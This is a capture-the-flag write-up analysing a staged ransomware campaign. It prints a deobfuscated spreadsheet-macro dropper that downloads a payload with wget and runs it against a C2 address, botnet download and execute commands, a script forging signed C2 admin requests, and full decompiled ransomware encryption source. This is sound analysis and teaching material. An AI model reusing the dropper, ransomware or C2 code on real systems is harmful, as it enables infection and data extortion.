Author: risinek
- Windows 10 Edu (equivalent to Enterprise version)
- Debian running in WSL
- Windows Sandbox
- Visual Studio Code editor connected to WSL
- Atom editor with multiple plugins
- Wireshark + tshark
- HxD64 to read binary files
- NTFS_File_Extractor64.exe
- pyinstxtractor.py
- uncompyle6
- Kaitai IDE
- and other tools mentioned in this write-up
For some challenges there were hints available but there was no penalization for using them.
Maximum score was 25 points.
Hi, junior investigator!
Recently, severe danger for whole humanity has emerged again in form of aggressive virus malware, which decimates the Internet population. Many computers were infected a nearly all of them were encrypted by ransomware called RANSOMVID-20. Some governments have already announced digital quarantine for most affected companies and its employees are not allowed to use computers, smartphones, etc.
We need your help to solve this issue, otherwise we will have to return to the steam age technologies. Enter the code
FLAG{a5AG-IVeK-jYvv-Brvq}
to get the access to the Training Ground.Good luck!
Hi, junior investigator!
We have extracted a bunch of suspicious e-mails. We believe that you can analyze them and find their secret.
Use password
MaIlZZzz-20
to download the evidenceGood Luck!
Hint: It is always better to script repetitive activities.
So clearly bunch of emails with attachments encoded by base64. Goal is simple - extract these, decode and see.
For that I used munpack
program, that extracted and decrypted all attachments to separate files - munpack -t *.eml
I did a quick search through the files for "FLAG" string, but nothing was found, so then I went through the attachments manually and checked them.
I spotted multiple different URLs so I prepared little script to access them one by one.
for filename in ./part*; do
url=$(cat $filename | egrep -o 'https?://[^ ]+')
echo $url
curl $url
done
http://challenges.thecatch.cz:20100/npelfsd0btmaovy2
was the correct one - FLAG{Tyqz-EgrI-8G7E-6PKB}
.
Hi, junior investigator!
We get some recorded traffic, we believe you can analyze it and found whether it contains something malicious.
Use password
sPaMMerS-wOrKS
to download the evidenceGood Luck!
I've opened spam_everywhere.pcap to have a quick look. I used Follow TCP Stream tool Analyze -> Follow -> TCP Stream...
in ASCII
format and saw lot's of emails with the same attachment named rv20protector.png
that was clearly encoded in base64.
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=rv20protector.png
I manually exported that base64 string and saved it as rv20protector.png file, then run base64 -d rv20protector.png > e.png
and I got readable image.
At the bottom of the image, there is a FLAG we are looking for - FLAG{SaXY-u8fc-p1Kv-oXoT}
Hi, junior investigator!
We have for you something malicious called "Easy Bee". We believe that you can analyze it and found what is its purpose.
Use password
eAsY-beE-mAlWr-20
to download the evidenceGood Luck!
Checked the executable using HxD64 viewer, whether I will be able to assume something from it's binary code, but besides it's Python executable I did not find anything else. So I said YOLO to myself, and ran the program directly in my system.
Hello, I'm Easy-Bee-yazt2u5r, give a copy of me to your friends!
Starting
Order received.
Order received.
It clearly did "something" periodically and order received didn't sound like it's doing something locally on the machine itself. So as a quick check I pulled of Ethernet cable from my laptop to see program's reaction. It failed with some network exception as I expected. So next step was capturing packets in Wireshark and see what's going on.
There was a TCP stream going on between my machine and 78.128.216.92
. So again I followed this stream and saw (with a little bit of formatting for this write-up)
Easy-Bee-yazt2u5r ready for work
KHello, your order is to keep in secret this flag: FLAG{MXcz-PrQK-FJbJ-jWVA}
Flag == FLAG{MXcz-PrQK-FJbJ-jWVA}
Hi, junior investigator!
We have wiretaped strange communication - probably a message. Try to decode it.
Use password
wiREtaPeD-msG
to download the evidenceGood Luck!
Hint: Transmission usually contains message... and its length.
Unzipped the message, opened it in Atom, and saw base64 string. After trying to decode it using Atom plugin, I have found out that it's not possible as it was multiple base64 strings that were not separated and the length of each base64 was unknown.
So I examined this file message
in HxD64 to see all bytes. After a while I got the pattern - first byte is number multiplied by 256 + second byte is the "offset" and together it gives a length of base64 string.
For parsing binary file I used Kaitai IDE that is available online and binary file is being processed in real time. I have created a short parser and ran it on message file.
meta:
id: pars
file-extension: pars
encoding: utf-8
seq:
- id: message
type: message
repeat: eos
types:
message:
seq:
- id: cnt
type: u1
- id: length
type: u1
- id: message
type: str
size: (cnt * 256) + length
This gave me JSON object full of messages like this
{
"message": [
{
"cnt": 0,
"length": 84,
"message": "QXBwZWFyIHdlYWsgd2hlbiB5b3UgYXJlIHN0cm9uZywgYW5kIHN0cm9uZyB3aGVuIHlvdSBhcmUgd2Vhay4="
},
{
"cnt": 0,
...
From which I extracted messages using jq tool cat messages.json | jq -r ".[][] | .message" | base64 -d > decoded
and got decoded text that contained FLAG{YHsB-hr0J-W2ol-fV17}
Hi, junior investigator!
You have successfully completed the training and earned the promotion to the Executive Senior Investigator. You are ready to get access to the malware research facility - just enter the code
FLAG{Jb91-XGSI-05xR-kqgQ}
and save the world from the RANSOMVID-20 imminent threat. Remember - many of our experienced investigators have been already digitally quarantined, so be careful!Good luck!
Hi, executive senior investigator!
We suspect that the malware is primarily spreaded somehow by e-mail. We have partial traffic dump from one small company, that was attacked. Try to check this hypothesis.
Use password
ThE-MaLWr-MaIlZZz-20
to download the evidence Good Luck!
I have opened the malware_spreading.pcap
with Wireshark and followed TCP streams there. There were 4 streams of IMAP conversations. Searched for FLAG string, but nothing was found. There was again bunch of encoded attachments, so I saved all four stream separately for further investigation. Then I had to somehow parse the attachments from these streams.
First I have separated base64 attachments themselves.
cat stream0 | grep -zPo '(?s)base64.*?=====' > parsed/stream0
...
Then I split them into separate files using csplit
cd stream0
csplit * '/base64/' '{*}'
...
Finally I gave them names based on their metadata
mkdir $1/out
cnt=0
for f in $1/*; do
cnt=cnt+1
echo $f
filename=$(tail -n +2 $f | grep "Content-Disposition" | sed 's/.*filename=<\(\S*\)>.*/\1/')
echo $filename
if [ -z $filename]; then
echo "No filename found!"
filename=text$cnt
fi
tail -n +3 $f | base64 -d > $1/out/$filename
done
In stream0 there was a file winning_numbers.zip
, in the stream3 there was a text, that said
Oh my, you will need the secret 'HappyWinner-paSSw00rd42'. See ya! A.
--
Alice Nelson
Senior assistant of executive vice-president
alice@cypherfix.cz
+420 555 25 69 04
Got the password, unzipped winning_numbers.zip
and got nation_lottery_numbers.ods
file. So I renamed the file extension to zip
, extracted it's content and found Basic\Standard\Module1.xml
that contained flag FLAG{rUn5-GwMR-IlY6-orZd}
.
Hi, executive senior investigator!
Well done, we have acquired the malicious mail attachment. Now, you should take a closer look on it and find out, how it works.
Use password
ThE-aTTacHmEnt-20
to download the evidenceGood Luck!
Hint: E-mail attachments are usually just droppers.
Similarly to previous challenge, I unzipped nation_lottery_numbers.ods
by renaming it from ods
to zip
and then investigated it's files. Again there was a file Basic\Standard\Module1.xml
but now a with different content. It was some script clearly obfuscated in some way. From file metadata I knew it was written in StarBasic
language. So I started looking into it's documentation and after a while I came up with this Python script (this is just a core part of it)
pattern=r"chr\(.*?\)"
chrlist=re.findall(pattern, file)
newfile=file
for chrr in chrlist:
exprsn=chrr.replace("chr(","")
exprsn=exprsn.replace(")","")
exprsn=exprsn.replace("int(Rnd(","1")
print(exprsn)
if(exprsn != "") :
code=int(eval(exprsn))
newfile=newfile.replace(chrr+"+",chr(code))
newfile=newfile.replace(chrr, chr(code))
All strings were obfuscated by using chr()
function, that converts integer to ascii. So the script replaced all of these chr()
function calls with actual letters.
Then I did some manual changes, like rewriting variable names for better orientation and added indentation to code blocks and ended up with this code (shortened)
...
array20101 = Array("http://challenger.thecatch.cz:20101", "http://freedata.thecatch.cz:20101", "http://www.challenges.thecatch.cz:20101", "http://wordpress.thecatch.cz:20101", "http://root.thecatch.cz:20101", "http://challenges.thecatch.ex:20101", "http://challenges.thecatch.example:20101", "http://challenges.thecatch.mirror:20101", "http://challenges.thecatch.cz:20101")
array20912 = ...
...
dim GGGG
while True
...
HHHH = array20101(-17-76-54+64+96-13)
GGGG = 10
GGGG = GGGG + 60
if ... then
HHHH = array20101(279-74-78-64-91+29)
elseif ... then
HHHH = array20101(132-88+26+97-107-8-15-35)
...
dim MMMM
...
Const RRRR = 0
Const SSSS = 40
Const TTTT = 4
...
For CCCC = RRRR To SSSS Step TTTT
...
MMMM = MMMM + chr(GGGG)
GGGG = GGGG + 3
Next CCCC
MMMM = left(MMMM, 7)
...
Select Case AAAA:
...
Case 14+45+36-91:
NNNN = "/tmp/update.bin"
HHHH = HHHH & "/" & MMMM & "_update_OB127q45D.msi"
Shell("wget " & HHHH & " -O " & NNNN)
...
End Select
Based on this deobfuscated code I was able to filter out unused code and rewrite the core part into Python and simulate it. URL from array20101
is always used as array20912
is never assigned to HHHH
anywhere. Also it is apparent, that the script tried to download something using wget
from built URL based on some conditions. So this is Python equivalent code:
mmmm=""
gggg=70
for x in range(0, 40, 4):
mmmm = mmmm + chr(gggg)
gggg=gggg+3
print(mmmm)
From the mmmm
I then used 7 letters from left (MMMM = left(MMMM, 7)
) and got FILORUX
and appended it to URL. Because in the original script random numbers were used to pick URL from the URL array, I had to try all of the URLs one by one. Correct URL was http://challenges.thecatch.cz:20101/FILORUX_update_OB127q45D.msi
from which I downloaded FILORUX_update_OB127q45D.msi
file (obviously) and it was just a text file containing flag in plaintext - FLAG{XRC9-XyEE-tlTV-nOl7}
Hi, executive senior investigator!
The file, you have acquired in previous investigation is not the malware, we were looking for. The attacker probably replaced it to fool us. Fortunatelly, we have a traffic dump, where you can probably find the original file. Try to find it and do not forget to be sure it is the correct file.
Use password
ThE-doWNloAdeD-fIlE-20
to download the evidenceGood luck!
Hint: Run the correct file in correct way.
Again I opened pcap file in Wireshark. Saw plenty of HTTP traffic, mostly downloads of some files, so I exported them directly by using Wireshark - File -> Export Objects -> HTTP
. Then I started investigating these files, but nothing significant I have found. So I looked again into pcap and spotted that file linux_core_update.bin
was downloaded from non-standard port 20101
(http://challenges.thecatch.ex:20101/linux_core_update.bin
) which was the same like in previous challenge. So I ran the binary and got error message
usage: linux_core_update.bin [-h] -ip IPADDRESS -p PORT
linux_core_update.bin: error: the following arguments are required: -ip/--ipaddress, -p/--port
So I reran it with -h
parameter and got
usage: linux_core_update.bin [-h] -ip IPADDRESS -p PORT
FT2-Botnet: Client
optional arguments:
-h, --help show this help message and exit
-ip IPADDRESS, --ipaddress IPADDRESS
Server IP address
-p PORT, --port PORT Server port
Based on the FT2-Botnet: Client
I was sure I'm on the right track using the right file. I remembered, that in previous challenge I saw -ip 78.128.216.92 -p 20210
in Basic\Standard\Module1.xml
while deobfuscating it.
Case 14+45+36-91:
NNNN = "/tmp/update.bin"
HHHH = HHHH & "/" & MMMM & "_update_OB127q45D.msi"
Shell("wget " & HHHH & " -O " & NNNN)
if filelen(NNNN) > 47-71-25-45+52+42 then
...
Shell(NNNN & " -ip 78.128.216.92 -p 20210")
...
...
end if
So I reused these parameters, ran ./linux_core_update.bin -ip 78.128.216.92 -p 20210
and got flag FLAG{l03Y-BDjA-uB5v-PHVB}
Hi executive senior investigator!
Cool, you have found the malware dropped on target computer. According to your defined procedure and your previously detected IoC (indicators of compromise), we were able to find other versions of malware in traffic dumps - we assume it is some kind of botnet client. Unfortunatelly, it looks like the C2 server has been meanwhile upgraded and although the server reacts to client's messages, the client can't decode the orders. You should investigate the communication.
Use password
ThE-CaNDc-cONNecTiOn-20
to download the evidenceGood luck!
Hint: Indicators of compromise (IoC) are very valuable for any investigation.
Nothing suspicious in binary file examining using HxD64, so I ran the program ./botnet_client -ip 78.128.216.92 -p 20210
and got
The Catch 2020 Botnet Client started (server on 78.128.216.92 port 20210)
Received unknown order
Received unknown order
So next step was packet capture using Wireshark. Followed TCP stream again, exported it and processed.
x5b97o4skadnwuri;;ready.......4ODMzMzMzMDMxM2IzYjM0Nzk2MTY3N2lydXduZGFrczRvNzliNXg=
x5b97o4skadnwuri;;ready.......0MjM3MzczOTNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4
x5b97o4skadnwuri;;ready.......0MDM1MzEzOTNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4
x5b97o4skadnwuri;;ready.......0MjM2MzUzODNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4
First I decoded base64 - its length has to be dividable by 4, so there is some garbage at the begining (didn't need to examine what they are for at this point). Best approach was to calculate length starting from the end of the string.
x5b97o4skadnwuri;;ready.......48333330313b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......023737393b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......003531393b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......023635383b3b347961677iruwndaks4o79b5x
Clearly the strings are reversed (client id string is in reverse) so I reversed it (without the leading number)
x5b97o4skadnwuri;;ready.......4x5b97o4skadnwuri776169743b3b3130333338
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b39373732
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b39313530
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b38353632
Convert bytes trailing node name to ASCII (and added spaces to make it more clear here)
x5b97o4skadnwuri;;ready.......4 x5b97o4skadnwuri wait;;10338
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;9772
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;9150
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;8562
So it was a countdown. Meaning that I have nothing else to do than wait (actually I spend at least half of the time trying more and more stuff as I didn't realized that all I have to do is wait)
The countdown was not related to "client" life, so as the client had some exponential or whatever throttling for sending requests, I could simply wait and then run another client session without loosing time waited.
After the wait reached zero, the server gave me ransomvid1984.bin
. Unfortunately I can't remember now whether it was URL or binary data directly or in some other form, but it was text file and contained plaintext flag - FLAG{kT0c-WTfc-S326-Jp1A}
Hi, executive senior investigator!
We have managed to get a rare catch - a traffic dump of issuing commands for the C2 server by its master! Glory to the network specialists of unnamed company. Try to find out how this communication works.
Use password
maSTeR-aND-coMMAndEr
to download the evidenceOur network analytics report that one of currently online C2 servers can be found on IP
78.128.216.92
onTCP/20220
.Good luck!
In the pcap file that I have examined with Wireshark, there was 1511 TCP streams to follow. I have "exported" them into single file by using this little script using tshark
for stream in {0..1511}
do
echo $stream
tshark -q -r master.pcap -z "follow,tcp,ascii,$stream" >> streams
done
Trimmed of non-ascii values that were replaced by dots
cat streams | grep "\.\.\." | tr -d '.' > trimmed
And I got something like this, where odd lines were requests from botnet clients/admin, even were responses from botnet server
hODc1N2U2OTZjNGIzYjM5NzQ2MTY1NjI3YjNiMzc2NTM4MzYzNDY0M2E2MTYzNzIzMDczNjg3ODZlNjEzZzU4NmQ0amFzMnBjeGhuMQ==
,MDMzM2IzYjM0Nzk2MTY3NzAwMDAwMDAwMDAwMDAwMDA=
hODc1N2U2OTZjNGIzYjM5NzQ2MTY1NjI3YjNiM2M2OTZhNjU2ZTYyMzMzYjZkNjYzMTcyNjc3MTYxMzUzbGlqZW4yM2ttNnFid2ExNQ==
,MDMzM2IzYjM0Nzk2MTY3NzAwMDAwMDAwMDAwMDAwMDA=
...
After decoding and manipulating strings (base64 decode, reverse string, convert hex to ascii) I got plaintexts
1nhxcp2saj4d685g;;ready;;Linux
wait;;30
51awbq6mk32nejil;;ready;;Linux
wait;;30
...
For automation I created this little python script (not a full script, just the core functionality)
for line in lines:
ln = len(line) % 4
if(ln != 0):
line = line[ln-1:]
b64_bytes = line.encode('ascii')
msg_bytes = base64.b64decode(b64_bytes)
decoded_line = msg_bytes.decode("ascii")
reversed_line = decoded_line[::-1]
hex_line="ERROR"
try:
hex_line=bytes.fromhex(reversed_line).decode("ascii")
except ValueError:
hex_line=bytes.fromhex(reversed_line[16:]).decode("ascii")
hex_line = hex_line + '\n'
fo.writelines(hex_line)
And I saw some more interesting requests/respones
kl5puyj43brf7iso;;wait;;*;;5;;944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb
command accepted;;
...
kl5puyj43brf7iso;;info;;203.0.113.16.20202;;active;;3799114f203fbb343e8003ab2bc7dc1890d2e748ed4d6f17d630cb0f70db1a89e5ed98609e41136b3d44836a52a12122
ffff0000ffff0000,0hpxc5sdo9kgne64,c6p0x84lamhowyk5,06fylhnt3wm4ikrx,irg6s7z8xvbnh0aj,dhps6t2u5egi1jrx,eimxd0lj4tby5gf7,ez0by4jqd3sikm8c,ds21bowz45903pgm,ws1mk4iae80b53jc,51awbq6mk32nejil,1nhxcp2saj4d685g
...
kl5puyj43brf7iso;;download;;*;;/tmp/update;;http://198.19.220.13:80/update2.bin;;d954e7c208079d348f7763176a0a65b6b43f01c49439b970a7e73ab2d59c0a000c8cff64981f1e918ba110cd1de7dd24
command accepted;;
...
These were clearly admin commands to the botnet server.
After some time I have figured out how admin controls whole botnet.
- botnet client periodically pings botnet server with ready state
- botnet server responses with latest command issued by admin or with configured wait
- botnet client do the commands or waits for given time before pinging server again (the wait is basically command too)
- admin sends commands to botnet server that responds with either
command_accepted
,bad_command
,unknown_command
or for special commands with an actual response data
At this point I did lots of blind guesses where the flag may be stored. There were for example these commands that would suggest that the file contains flag and that the admin can issue botnet client to send it's content (e.g by simply cat
it).
kl5puyj43brf7iso;;download;;0hpxc5sdo9kgne64;;/tmp/flag;;http://198.19.220.13:80/flag;;cfb8ad2096b87f07ef3154e198862bab81bce63cba14fd1ecd01ac83c849a42df494dd3b64793f4fad8cc02aa21ec61e
...
kl5puyj43brf7iso;;execute;;*;;ls /etc;;b8d4cd29e64dbf3cec215e6444ef8d5eff5df0f75389fb564ecb13008a6738a681a1f3cfe1ef3699cd9a5809eb7fa9f6
But the problem was, that botnet clients are not directly responding to admin and there were no commands exposed in the captured communication, that would somehow fetch botnet client responses.
Anyway I still had to reverse engineer admin requests, so I can build them on my own. So I started examining admin requests themselves.
kl5puyj43brf7iso;;wait;;*;;5;;944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb
First I tried to figure out the last parameter - 944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb
. Converting it as hex to ASCII did not work here. I tried blindly some encoding/decoding algorithms, but without success.
Then I spotted, that the length is exactly 96 bytes in every admin request. After some searching, everything suggested it's sha384
.
Now I had to figure out what part of the command is being hashed. I did this using try and error method, but I got lucky and one of my early guesses was (in context of the command above) ;;wait;;*;;5
. So based on this I knew, that everything after admin id (kl5puyj43brf7iso
) up to last ;;
delimiter had to be hashed. And also all admin requests had prefix of 16 zero bytes - this was clear from pcap directly.
So I made simple Python script to send request in correct format to botnet server and receive response (again, it's just a core part, not a whole script)
tcpip = '78.128.216.92'
tcpport = 20220
buff_suze = 2048
admin=True
node_name="kl5puyj43brf7iso"
cmd_msg = ";;info;;78.128.216.92.20220;;clients"
cmd = node_name + cmd_msg
if(admin):
cmd_prefix = "0000000000000000"
cmd = cmd + ";;" + hashlib.sha384(cmd.encode("ascii")).hexdigest()
print(cmd)
else:
cmd_prefix = node_name
cmd_hex = bytes.hex(cmd.encode('ascii'))
cmd_hex = cmd_prefix + cmd_hex
reversed_cmd = cmd_hex[::-1]
cmd_bytes = base64.b64encode(reversed_cmd.encode('ascii'))
cmd_bytes_decoded = cmd_bytes.decode("ascii")
msg_len=len(cmd_bytes_decoded)
cmd_bytes_prefix="{0:0{1}x}".format(msg_len,16)
cmd_bytes_encoded=cmd_bytes_prefix + bytes.hex(cmd_bytes)
message_bytes = bytes.fromhex(cmd_bytes_encoded)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tcpip, tcpport))
s.send( message_bytes)
data = s.recv(buff_suze)
print(bytes.hex(data))
data = data.decode("ascii")
data = data[7:]
ln = len(data) % 4
if(ln != 0):
data = data[ln:]
b64_bytes = data.encode('ascii')
msg_bytes = base64.b64decode(b64_bytes)
decoded_line = msg_bytes.decode("ascii")
reversed_line = decoded_line[::-1]
hex_line="ERROR"
try:
hex_line=bytes.fromhex(reversed_line).decode("ascii")
except ValueError:
hex_line=bytes.fromhex(reversed_line[16:]).decode("ascii")
s.close()
Now I was able to experiment and change the commands as I wished. After endless tries I ended up trying to "replay" commands that the admin did on captured communication, and the command ;;info;;78.128.216.92.20220;;clients
was the correct one (even though it's pretty similar to "active" command that I tried numerous times before, this one triggers different response from the botnet server). Botnet server responded to this command with list of clients that also included flag FLAG{uLHI-3Zq1-kOHx-FGR1}
Hi, executive senior investigator!
Finally, we have acquired the RANSOMVID-20 encryption module. According to the information from our partners, it encrypts files on any drives, it can found. We have also one image of relatively small drive, which was affected by RANSOMVID-20 only (no user or system action were undertaken). Try to find out how to decrypt the files without paying any single TCC.
Use password
rAnSOmVID-20
to download the evidenceGood luck!
WARNING: The ransomware executable is dangerous - virtual machine is strongly recommended for the analysis.
First I examined image.dd
disk image. Based on the provided informations, this ransomware encrypts just files themselves, not whole partitions of disks, so I expected the disk image is readable. I tried to mount it, but I was unable to do so. So I looked around for some tool to extract files from disk images, and found NTFS_File_Extractor64.exe
that did exactly what I needed. It went through the disk image and extracted all files from the disk to folder. So I could start investigating the encrypted files. Unfortunately I did not manage to get much information from those encrypted data, so I had to focus on ransomvid_20.exe
file.
I tried to find a way how to run safely the ransomvid_20.exe
on Windows. I have found out, that Windows 10 (Pro and Enterprise editions) has built-in sandbox feature that can be used exactly for these kinds of needs. First hint was, that the program required public RSA key. So I assumed files are encrypted using RSA. I tried to encrypt some file that I have created and hence having a plaintext and then compare it to encrypted one, but it didn't helped much.
So I started examining the ransomvid_20.exe
itself more deeply. In the binary data that I've examined using HxD64, I spotted lots of Py
strings there. This leaded me to assume that it's some kind of Python executable binary. So I started looking for some decompiler. I have found this tool pyinstxtractor.py, that extracted content of PyInstaller Windows executable to separate folder for further processing. Then I used uncompyle6
decompiler to get readable python script from PYC
files extracted by pyinstxtractor
.
Unfortunately all PYC files were just python libraries. But there was also a file ransomvid_20
that looked very similar to other PYC files, but could not be decompiled by uncompyle6
.
So I compared it's bytes with other PYC files and found out that ransomvid_20
had some additional leading bytes. So I just removed them and the decompiler was able to decompile the bytecode. Here is fully decompiled ransomvid_20.py
Python script
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39)
# [GCC 6.3.0 20170516]
# Embedded file name: ransomvid_20.py
"""
CTF - Ransomvid-20
"""
__author__ = 'Aleš Padrta @ CESNET.CZ'
__version__ = '1.0'
import argparse, random
from os import walk
import pyaes, rsa
def get_args():
"""
Cmd line argument parsing (preprocessing)
"""
parser = argparse.ArgumentParser(description='Ransomvid-20 (!!!I can really hurt, if you run me!!!)')
parser.add_argument('-p',
'--path',
type=str,
help='Path to encrypt',
required=True)
parser.add_argument('-k',
'--keyfile',
type=str,
help='The RSA public key',
required=True)
args = parser.parse_args()
return (
args.path, args.keyfile)
def get_filenames(path):
"""
Get list of files to encrypt in given path
"""
filenames = []
for root, directories, files in walk(path):
for name in files:
if name.split('.')[(-1)] not in ('mpeg', 'avi', 'mp4', 'dd'):
filenames.append('{}/{}'.format(root, name).replace('\\', '/'))
filenames.sort()
return filenames
def init_random(myseed):
"""
Initialize randomization by defining seed
"""
random.seed(myseed)
def get_random_aes_key(length):
"""
Generate random AES key
"""
key = bytearray(random.getrandbits(8) for _ in range(length))
return key
def aes_encrypt(data, aeskey):
"""
Encrypt/decrypt data by provided AES key
"""
aes = pyaes.AESModeOfOperationCTR(aeskey)
encdata = aes.encrypt(data)
return encdata
def read_rsakey(filename):
"""
Read RSA encryption key from file
"""
with open(filename, mode='rb') as (public_file):
key_data = public_file.read()
public_key = rsa.PublicKey.load_pkcs1_openssl_pem(key_data)
return public_key
def rsa_encrypt(data, key):
"""
Encrypt data by provided RSA key (public part)
"""
encdata = rsa.encrypt(data, key)
return encdata
def read_file(filename):
"""
Read content of file to variable
"""
with open(filename, 'rb') as (fileh):
data = fileh.read()
return data
def write_file(filename, key, data, orig_len):
"""
Write header + encrypted content to file
"""
with open(filename, 'wb') as (fileh):
fileh.write(b'RV20')
fileh.write(key)
fileh.write(orig_len.to_bytes(8, byteorder='big'))
fileh.write(data)
def main():
"""
Main ransom function
"""
path, rsakeyfile = get_args()
filenames = get_filenames(path)
print('Found {} files'.format(len(filenames)))
if filenames:
for filename in filenames:
print(' {}'.format(filename))
rsakey = read_rsakey(rsakeyfile)
init_random(2020)
for filename in filenames:
aeskey = get_random_aes_key(32)
data = read_file(filename)
enc_data = aes_encrypt(data, aeskey)
enc_aeskey = rsa_encrypt(aeskey, rsakey)
write_file('{}'.format(filename), enc_aeskey, enc_data, len(data))
main()
At this point I had fully exposed encryption mechanism and I could write own script for decryption.
Encryption works as follows
- first it generates AES key "randomly"
- encrypts the file data using AES
- then the AES key is encrypted by public RSA key
RV20
string + encrypted AES key + original file length prepend the encoded file data
So the problem here is, if we don't have private RSA key, we can't decrypt the AES keys located at the encrypted file data and hence we would have to crack strong RSA encryption to be able to get AES key for decryption.
However this encryption script has a security gap in generating random bytes for AES keys. Calling init_random(2020)
where 2020
is always the same seed. This actually means that every time this script is run, it will generate same set of random numbers, which also means same set of AES keys.
Hence I was able to generate the same set of AES keys and effectively bypass RSA encryption as there is no need to decrypt the AES key attached to the encrypted file.
I just had to guess the right AES key for each file, because I did not know the exact order in which the files were encrypted (probably I would be able to get the order as the files are sorted at the beginning of encryption, but it was not really necessary for this short set of files on the disk).
I prepared a Python script for decryption
aes_keys=[]
random.seed(2020)
for i in range(1,50):
key = bytearray(random.getrandbits(8) for _ in range(32))
aes_keys.append(key)
The part above will prepare first 50 AES keys which is more than actual number of files on the disk image, so all used AES keys during encryption should be covered.
And then just simply iterate over these AES keys for each file and decrypt the file fifty times.
for i, aes_key in enumerate(aes_keys):
out_filename="out/" + dirr + str(i) + "_" + filename
print(out_filename)
aes = pyaes.AESModeOfOperationCTR(aes_key)
data_dec = aes.decrypt(data_data)
Then I went manually over all of these 50 files and picked the correct one (readable one).
I did not have to decrypt all files. First I tried files in "flags" folder as they were my strongest candidates to contain flag. Unfortunately there was no flag in the these files, so second candicate was the text file iustum.txt
. And that was the right guess. 40th (41st if counted from 1) AES key decrypted this file and it contained the final flag FLAG{TMMW-rUaP-B2Ko-XejX}
Hi, savior of the world!
You have succesfully analyzed all aspects of the dreadful malware, which has threatened the Internet population. The digital quarantine can be now lifted and the happy users can return to their ordinary activities - especially to searching pictures and videos of fluffy cute kittens...
We would like to ask you to fill short questionnaire - we need some information for eventual prize delivery.
You can also enter the flag
FLAG{aKAL-qQhH-MsAz-miUG}
to set this challenge green :-)See you!
All scripts I made during this competition were made as single purpose, so I did not optimized them more than I needed at the time I was solving the challenges. Also I skipped some of my tries that leaded to death ends.